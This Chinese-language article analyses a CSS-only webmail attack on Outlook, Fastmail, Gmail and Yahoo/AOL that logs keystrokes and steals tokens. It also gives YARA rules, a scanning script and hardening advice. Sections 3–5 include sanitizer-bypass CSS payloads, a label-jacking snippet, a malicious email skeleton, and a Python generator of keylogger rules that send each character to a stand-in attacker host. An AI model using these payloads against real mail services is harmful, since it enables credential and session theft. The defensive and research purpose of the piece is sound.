CSS炸弹攻击实战:HTML邮件无JS键盘记录器漏洞复现与防御
摘要
Black‑Hat USA 2026公开的CSS炸弹攻击,不依赖JavaScript,仅通过HTML+CSS突破网页邮箱的邮件隔离边界,打开恶意邮件即可完成键盘记录、账号密码与会话令牌窃取。传统垃圾邮件过滤、JS拦截、杀毒软件全部失效。本文从底层原理、攻击链路、漏洞复现、检测脚本、服务商修复方案、红蓝对抗风险评估完整展开,同时梳理历史同类CSS侧信道攻击的局限与本次研究的突破点,给出可落地的检测与加固配置清单。
1 研究背景与第一性原理思考
绝大多数人固有认知:HTML邮件的恶意风险全部来自JavaScript。网页邮箱净化器DOMPurify、各类邮件网关,工作逻辑就是彻底删除<script>、事件处理器onclick、eval这类执行代码,保留CSS用于邮件排版渲染,业务逻辑默认CSS只能作用邮件正文内部DOM节点,不能污染邮箱外层界面。
PortSwigger研究员Gareth Heyes的研究推翻这套假设。攻击的根因不是浏览器存在传统意义上的内存漏洞,而是信任边界割裂:净化器解析CSS得到一套安全视图,浏览器CSSOM实际渲染得到另一套视图,两者输出不一致,攻击者利用解析差异完成逃逸,让邮件内部CSS可以控制整个网页邮箱文档DOM树。
对抗式审查视角拆解核心矛盾:
- 业务需要HTML邮件支持丰富排版,不能一刀切禁用全部CSS、
<label>、<select>; - 净化器只能基于静态文本做过滤,无法完整复现浏览器CSSOM序列化、转义字符解码行为;
- 网页邮箱大量使用自定义
data‑*属性做内部DOM操作,净化器放行无害自定义属性,但是页面自身JS会把这些属性转换为不受净化管控的CSS节点,形成CSS Gadget(CSS小工具)逃逸通道; - CSP策略、远程图片代理,在部分绕过链路上可以被规避,侧信道数据外逃依旧可以发生。
整个攻击全程没有JS执行,所有逻辑全部交由浏览器原生CSS、HTML特性完成。受害者只需要打开阅读这封HTML邮件,不需要点击附件,不需要下载文件,不需要手动执行任何操作,攻击链路即可触发。桌面客户端邮件渲染模型不同,风险显著降低,攻击面集中全部在网页版邮箱环境。
A[攻击者发送恶意HTML邮件] --> B[邮件网关初步过滤,无script,放行CSS]
B --> C[网页邮箱接收,DOMPurify做HTML/CSS净化]
C --> D{净化器视角:CSS仅限定邮件容器内部}
D --> E[浏览器CSSOM解析突变、畸形语法解码]
E --> F[突破隔离边界,CSS作用整个邮箱页面DOM]
F --> G[标签劫持/UI伪造/select组件劫持]
G --> H[用户输入密码、密钥、会话相关操作]
H --> I[CSS背景图片请求向外服务器泄露每一次按键字符]
I --> J[攻击者服务端收集凭证数据完成窃取]
subgraph 网页邮箱顶层Document【高信任域】
UI[邮箱登录弹窗、密码输入框、导航控件、会话DOM]
end
subgraph 邮件渲染容器【低信任域,预期隔离】
Malicious[恶意HTML+CSS有效载荷]
end
%% 正常预期
Malicious -.预期隔离,不可访问-> UI
%% 攻击发生
Malicious -->|CSSOM突变/媒体查询绕过/CSS Gadget| BreakOut[边界逃逸]
BreakOut --> UI
2 CSS炸弹攻击底层技术拆解
CSS炸弹不是单一漏洞,它是一类漏洞链集合,由多个浏览器解析特性、净化器缺陷、网页邮箱业务实现缺陷串联形成完整攻击链路。把整套技术拆开成三个基础构件:逃逸构件、捕获构件、数据外逃构件。
逃逸构件:实现CSS越界,让原本只属于邮件内部的样式选择器,可以匹配网页邮箱外层页面任意DOM元素。实现手段分三类:CSSOM字符转义突变、媒体查询畸形注释绕过、CSS Gadget自定义属性劫持。
捕获构件:解决一个历史老大难,原生密码输入框input[type=password],用户敲击键盘,浏览器不会实时更新DOM上value属性,传统CSS属性选择器无法读取实时按键。本次研究用两套方案绕过该限制:<label for>标签劫持页面原生输入框焦点;利用<select>下拉组件,Firefox浏览器特定定时器行为,每次按键修改option,属性同步更新到DOM上,CSS选择器可以实时读取字符变化。
外逃构件:CSS属性选择器匹配成功之后,加载background‑image、background‑image‑set指向攻击者域名URL,URL路径携带匹配到的字符。浏览器发起GET请求,攻击者日志拿到URL路径,还原用户输入的每一个字符,完成侧信道数据泄露。整个过程不产生HTTP POST,全部是普通图片GET请求,很多WAF、邮件网关不会拦截普通图片请求流量。
注意:这套侧信道本身存在缺陷,网络并行请求会打乱字符到达服务器顺序,攻击链需要结合字典、字符频率做后处理还原完整字符串,无法完美处理退格、光标移位、重复字符场景,但针对密码、密钥这类短字符串,已经具备很高实战可用性。
3 四大核心攻击向量完整分析
3.1 CSSOM解析突变绕过(Fastmail漏洞)
CSS支持十六进制转义写法,\7d对应}右大括号,\2a对应*通配符选择器。
净化器读取原始CSS文本,看到的是转义字符序列,认为属于动画帧名称字符串,判定安全。
但是浏览器CSSOM在序列化输出的时候,会自动解码转义字符,直接把\7d\2a翻译为} *,直接闭合@keyframes语法块,后面注入全局通配符选择器,实现全局样式污染。
原始payload文本(净化器看到)
@keyframesfoo\7d\2a{color:red}浏览器CSSOM解析序列化之后实际生效代码:
@keyframesfoo}*{color:red}}直接结束keyframes,*成为全局选择器,页面全部DOM节点被攻击者CSS控制。Fastmail早期实现逻辑,先用CSSOM解析样式,读取序列化结果再做过滤,等于把浏览器解码后的恶意代码交给渲染,直接触发逃逸,该漏洞Fastmail已经完成补丁修复。
这类漏洞揭示一个关键教训:不要把CSSOM序列化输出作为净化输入源,净化器必须直接操作原始CSS文本,不能依赖浏览器解析之后再做过滤,浏览器会做各类转义、语法修复,会把无害文本变异成恶意代码。
3.2 Label‑Jacking标签劫持 Outlook + Firefox
HTML标准行为:<label for="target_id">,只要页面DOM内部存在对应ID的控件,无论label放在文档哪个位置,点击label,浏览器就会激活对应ID的输入框、按钮控件,不受DOM容器边界限制。
Outlook净化器允许邮件HTML内部使用<label>标签,不会删除for属性。攻击者在恶意邮件内部放置label,for属性填写网页邮箱外层界面密码输入框DOM ID。这个label可以用CSS完全透明、铺满整个邮件阅读区域。受害者点击邮件任意位置,焦点直接跳到外层密码输入框。
用户输入密码,结合越界逃逸出来的CSS属性选择器,捕获输入内容。整套链路在Firefox浏览器环境复现成功率最高;截止研究公开时,该向量补丁尚未完全落地。
攻击简化HTML片段:
<!-- 放在恶意邮件HTML正文内部 --><labelfor="outlook‑outer‑password‑input‑id"><divstyle="width:100%;height:800px;opacity:0"></div></label>用户点击邮件区域,焦点直接跳转到邮箱页面外层密码输入框,后续CSS选择器开始抓取按键。
3.3 Media‑Query畸形语法净化器绕过(Outlook)
Outlook使用DOMPurify做HTML净化,同时做自定义CSS解析,解析媒体查询@media块的时候,遇到注释、引号解析逻辑存在缺陷。攻击者构造畸形媒体查询,利用带双引号的注释欺骗净化器,净化器误以为后面所有内容属于媒体查询字符串内部,放行全部恶意全局CSS规则,直接脱离媒体查询作用域,对整个页面生效。
Payload示意:
@media--narrow-window;/*"*/*{position:fixed;z‑index:99999;};净化器把/*"*/里面双引号理解为字符串起始,后续全部代码当成媒体查询内部字符串,不做拦截。浏览器CSS解析器识别注释闭合,*全局选择器生效,攻击者可以伪造全屏弹窗,模拟微软登录界面,诱导受害者输入账号密码。
同时Outlook存在CSS Gadget机制:净化器放行部分data‑tabster自定义属性,页面自身的前端JS会读取这类属性,动态创建style节点,这部分动态生成CSS完全绕开净化器校验,成为第二条逃逸通道,不需要复杂畸形语法就注入全局样式。
3.4 Yahoo / AOL 粘贴竞态漏洞 Token窃取
Yahoo Mail、AOL Mail网页端,草稿粘贴HTML内容流程存在时间窗口竞态条件。用户执行粘贴操作瞬间,浏览器先渲染粘贴进来HTML,之后才调用净化器执行清理。极短时间缝隙,恶意CSS短暂生效,利用侧信道手段读取页面DOM内部存储的登录Token、敏感数据,完成数据外逃。
该攻击需要受害者执行一次粘贴操作,相比打开邮件即触发,需要多一步用户交互,但依旧属于无JS纯CSS攻击链路。
4 历史CSS键盘记录器的固有局限,本次研究如何打破约束
早在2019年,安全社区就公开CSS键盘记录器概念,基础payload如下:
input[value$="a"]{background‑image:url("http://attacker/log/a");}input[value$="b"]{background‑image:url("http://attacker/log/b");}传统方案有致命短板:普通浏览器原生input密码框,用户打字,不会同步更新DOM属性value;只有React、Vue受控组件,框架JS主动把输入值写回DOM属性,选择器才可以匹配,攻击场景高度受限,只能针对特定前端框架应用,几乎无法在真实网页邮箱环境利用。
旧方案痛点清单:
- 普通原生input不回写value DOM属性,选择器完全失效;
- 只能捕获后缀匹配,无法处理退格、光标移动;
- 很难突破应用隔离边界,只能控制同一个组件内部元素。
本次CSS炸弹研究,两套方案绕开原生input限制:
- Label‑Jacking:劫持焦点,但捕获目标不是原生input的value,而是配合
<select>下拉组件。Firefox浏览器中,移动到视口外的select组件,敲击键盘会持续更新option列表,DOM属性实时变更,CSS属性选择器可以持续读取每一次按键字符; - CSS Gadget + 越界逃逸,把整套CSS payload提升到整个文档作用域,不再局限组件内部。
至此,纯CSS键盘记录从实验室概念,变成可针对主流网页邮箱完整可复现攻击链,不需要目标站使用React/Vue框架。
5 PoC代码片段与 payload 构造思路(仅安全研究,禁止未授权使用)
重要声明:下面代码仅用于安全研究、红蓝对抗实验室环境演练,未经授权对第三方邮件系统实施测试属于违法行为。完整原始PoC存放于PortSwigger公开GitHub仓库。
5.1 简化版属性选择器生成Python脚本,用于实验室生成CSS规则集
#!/usr/bin/env python3# 仅用于安全研究,生成CSS属性选择器规则集合importstring char_set=string.ascii_lowercase+string.ascii_uppercase+string.digits+"!@#$%^&*()_+-="defgenerate_css_keylogger_rules(target_selector:str,c2_domain:str):rules=[]forcinchar_set:# 转义特殊字符esc_c=c.replace("'","\\'").replace('"','\\"')rule=f"""{target_selector}[value^="{esc_c}"] {{ background‑image: url("https://{c2_domain}/log/{ord(c)}"); }}"""rules.append(rule)return"\n".join(rules)if__name__=="__main__":css_out=generate_css_keylogger_rules('select#malicious‑select',"attacker‑c2.example")withopen("keylog.css","w",encoding="utf‑8")asf:f.write(css_out)print("CSS规则已输出 keylog.css")脚本输出大量属性匹配规则,每一个字符对应一条CSS,匹配成功触发图片GET请求,C2服务器通过URL路径的字符编码序号拿到按键信息。完整覆盖全部可打印字符,生成出来CSS体积会达到数MB级别。
5.2 恶意HTML邮件最小骨架,演示payload嵌套形式
<!DOCTYPEhtml><html><head><metacharset="utf‑8"><style>/* 此处放置逃逸绕过payload + 上面脚本生成大量属性选择器 */@media--narrow‑window;/*"*/*{z‑index:9999;}; select#fake_input{position:fixed;top:200px;left:300px;width:350px;height:40px;opacity:0.01;}</style></head><body><labelfor="fake_input"><divstyle="width:100%;height:600px"></div></label><selectid="fake_input"></select></body></html>现实攻击中,会进一步用CSS把select组件挪到视口外,视觉完全隐藏,模拟密码输入场景,用户感知不到控件存在。
6 受影响产品、浏览器组合、补丁状态梳理
| 平台 | 攻击向量 | 披露时补丁状态 | 高危浏览器 |
|---|---|---|---|
| Outlook Web | Label‑Jacking、媒体查询畸形绕过、CSS Gadget | 部分链未完全修复 | Firefox(最高风险) |
| Fastmail | CSSOM转义突变逃逸 | 已修复对应漏洞 | Firefox、Chrome |
| Gmail Web | image‑set绕过 | 未完全修复 | Firefox |
| Yahoo / AOL Mail | 粘贴竞态Token泄露 | 部分修复 | Firefox |
| ProtonMail | 代理绕过 | 失效 | Firefox |
Chrome、Safari部分CSS行为会阻断部分payload,攻击复现成功率低于Firefox。所有攻击全部针对网页版;桌面邮件客户端(Outlook桌面、Thunderbird)渲染引擎不一样,不受该套攻击链影响。
野外利用现状:研究披露截止2026‑08‑08,没有观测到黑产、APT大规模野外利用,但完整可复现PoC公开,武器化门槛持续降低,未来存在被武器化的高风险。
7 检测能力建设:YARA规则、邮件扫描脚本、WAF配置
安全运营团队需要建设检测能力,在邮件网关、SOC平台识别携带CSS炸弹特征的HTML邮件。
注意:不存在100%完美签名,攻击者可以混淆、拆分payload,下面规则作为基础狩猎规则,不能当作唯一防御手段。
7.1 YARA狩猎规则,用于扫描邮件附件、提取出来的HTML邮件正文
rule CSS_Bomb_Webmail_Keylogger_Hunt { meta: author = "Security‑Research‑Hunt" description = "狩猎CSS炸弹攻击HTML邮件载荷,仅用于威胁狩猎,不能单独作为阻断规则" reference = "PortSwigger CSS:the bomb inside your inbox BlackHat USA2026" date = "2026‑08‑10" mitre = "T1041 Exfiltration Over C2 Channel" strings: $s1 = /@keyframes\\7d\\2a/ nocase $s2 = { 5c 37 64 } /* \7d 转义字符 */ $s3 = /@media.*\/\*\"*\*\// nocase $s4 = /\[value\^=\"[a-zA-Z0‑9!@#]/ nocase $s5 = /background‑image:\s*url\(.*\/log\// nocase $s6 = /<label\s+for=\"[a-zA-Z0‑9‑_]+\"/ nocase $gadget = /data‑tabster/ nocase condition: 2 of ($s*) or ($gadget and 1 of ($s1,$s3,$s4)) }7.2 Python简易邮件扫描脚本,解析EML文件检测可疑特征
#!/usr/bin/env python3importemailfromemail.policyimportdefaultimportreimportsys# 检测特征集合SUSPICIOUS_PATTERNS=[re.compile(r'@keyframes.*\\7d\\2a',re.IGNORECASE),re.compile(r'@media.*\/\*\"*\*\/',re.IGNORECASE),re.compile(r'\[value\^=\"[a-zA-Z0‑9!@#]',re.IGNORECASE),re.compile(r'background‑image:\s*url\(.*\/log\/',re.IGNORECASE),re.compile(r'data‑tabster',re.IGNORECASE)]defscan_eml_file(file_path):withopen(file_path,"rb")asf:msg=email.message_from_bytes(f.read(),policy=default)html_body=""forpartinmsg.walk():ifpart.get_content_type()=="text/html":payload=part.get_payload(decode=True)ifpayload:html_body=payload.decode("utf‑8","ignore")hit_list=[]forpatinSUSPICIOUS_PATTERNS:m=pat.search(html_body)ifm:hit_list.append(pat.pattern)ifhit_list:print(f"[!] 文件{file_path}命中可疑CSS炸弹特征:{hit_list}")returnTrueelse:print(f"[OK] 文件{file_path}未命中特征")returnFalseif__name__=="__main__":iflen(sys.argv)!=2:print("usage: python eml_scan.py sample.eml")sys.exit(1)scan_eml_file(sys.argv[1])7.3 WAF / 邮件网关配置要点
- 对HTML邮件内部
<style>块开启深度检测,禁止大量重复[value^=]属性选择器; - 监控出站GET请求,大量短路径随机字符访问外部图片域名,标记告警;
- 开启远程图片默认阻断,用户手动加载外部图片记录审计日志。
检测只能做到告警狩猎,无法完全阻断变种payload,根本防御依靠服务商侧架构修复。
8 服务商侧完整加固方案清单
按照优先级排序,第一条是成本最高但防护效果最强的方案。
- 不可信HTML邮件强制沙箱隔离iframe渲染,设置
sandbox属性,邮件内容和邮箱主页面完全不同DOM文档,CSS完全无法越界,直接从架构层面消灭全部逃逸攻击面。注意:iframe不能开启allow‑same‑origin,开启之后隔离失效。很多网页邮箱出于样式兼容性能考量,没有默认启用iframe隔离,这是最大根源问题。 - CSS净化器直接处理原始CSS文本,禁止使用CSSOM序列化之后结果做过滤,避免转义字符解码突变带来绕过;
- 严格管控
<label for>,邮件内部HTML的label标签,for属性只允许指向邮件容器DOM内部ID,禁止引用文档全局ID; - 高风险CSS伪类与选择器做限制:
:has()、:checked()严格评估,对大量批量属性选择器做长度与数量阈值限制; - 审计全部
data‑*自定义属性,杜绝CSS Gadget逃逸通道;业务JS不要把净化器放行的自定义属性转换为不受管控的style节点; - 全部外部图片资源强制经过代理转发,浏览器不能直接访问攻击者C2域名,阻断CSS背景图侧信道泄露路径;
- CSP策略收紧,限制
background‑image外部域名,不允许任意外部域名图片加载; - 修复媒体查询、动画关键帧解析的畸形语法解析漏洞,加固CSS语法解析器,对畸形注释、未闭合引号做强校验。
9 企业与普通用户防护操作手册
普通用户没有办法修复网页邮箱后端代码,只能做风险缓解,不能彻底消除漏洞风险。
普通用户操作清单:
- 网页邮箱设置,开启默认阻止远程图片加载,不要随意点击“加载图片”按钮,这是个人最有效的缓解手段,CSS炸弹外逃依赖图片GET请求;
- 尽量减少Firefox浏览器访问网页版Outlook,该组合复现攻击成功率最高;
- 账号强制开启多因素认证MFA,即便密码被窃取,攻击者依旧无法登录账号;
- 收到陌生HTML格式邮件,优先切换查看纯文本模式,不渲染HTML;
- 网页邮箱弹出登录、密码验证弹窗,不要直接弹窗输入;新开浏览器标签手动输入官网域名登录,不要信任邮件触发的页面弹窗。
企业侧运维操作:
- 邮件安全网关增加上面EML扫描脚本,对入站外部邮件做威胁狩猎告警;
- 终端安全日志监控浏览器出站大量随机短路径GET请求访问外部图片域名,触发SOC告警;
- 内部安全培训,告知员工该类新型攻击,攻击不依赖附件、不需要点击链接,仅仅打开邮件就存在风险。
10 红蓝对抗视角:武器化约束、野外利用预判
即便PoC公开,CSS炸弹攻击依旧存在现实约束,不能做到100%稳定捕获任意密码。
- 字符顺序:浏览器并行发送图片请求,服务器收到请求顺序不等于用户敲击键盘顺序,需要频率字典做概率还原,长字符串还原准确率下降;
- 退格、光标移位、重复敲击同一个字符,会造成捕获数据丢失错乱;
- 不同浏览器行为差异巨大,Payload需要针对目标浏览器做定制,通用性不如传统XSS;
- 完整攻击链需要多个漏洞同时存在,服务商陆续补丁会破坏整条链路。
但是针对企业钓鱼场景,攻击者定向目标,受害者使用Firefox+Outlook网页端,这套攻击链的威胁级别很高。APT组织、红队会优先使用该技术,不需要JS,绕过绝大多数传统邮件防护设备。
预判未来攻击演变方向:
- 攻击者把大体积CSS payload做拆分、混淆、压缩,规避YARA简单签名;
- 结合AI钓鱼邮件,社会工程诱导用户执行粘贴操作,触发Yahoo/AOL这类竞态漏洞;
- 结合AI Agent邮件处理功能,实现更进一步的间接提示注入、数据窃取。
11 安全行业启示与底层架构反思
CSS炸弹攻击揭示一个长久被忽略的安全假设缺陷:行业长久以来把CSS简单归类为“纯粹展示、无危害”,认为只要干掉JS就安全。CSS具备强大选择器能力、可以触发外部资源加载,本身就可以成为侧信道攻击载体。
很多安全产品做过滤的时候,边界划分简单粗暴:把可执行脚本当成高危,HTML和CSS当成低风险。现实浏览器模型里面,HTML、CSS、DOM、资源加载是一套完整交互系统,边界不是脚本/非脚本二元划分。
净化器开发的通用教训:永远不要把浏览器解析后的DOM/CSSOM输出当成安全输入源,浏览器会自动修复语法、解码转义字符,修复过程本身可以被攻击者利用制造解析差异,过滤逻辑必须基于原始输入文本完成。
架构层面最优解依旧是强隔离,把不可信内容放到完全隔离的沙箱iframe,跨文档边界,即便CSS全部失控,也无法接触高信任域页面DOM。很多产品出于性能、兼容、开发工作量,放弃这套方案,用净化器做逻辑隔离,逻辑隔离永远存在被绕过可能性。
12 互动问题
- 如果你们企业邮件安全网关,现在需要增加针对CSS炸弹攻击的检测规则,你会优先选择静态签名,还是基于行为检测的方案,谈谈你的取舍?
- 业务上HTML邮件有很强排版需求,不能直接全部iframe隔离,站在产品开发角度,你会做哪些折中方案平衡安全与用户体验?
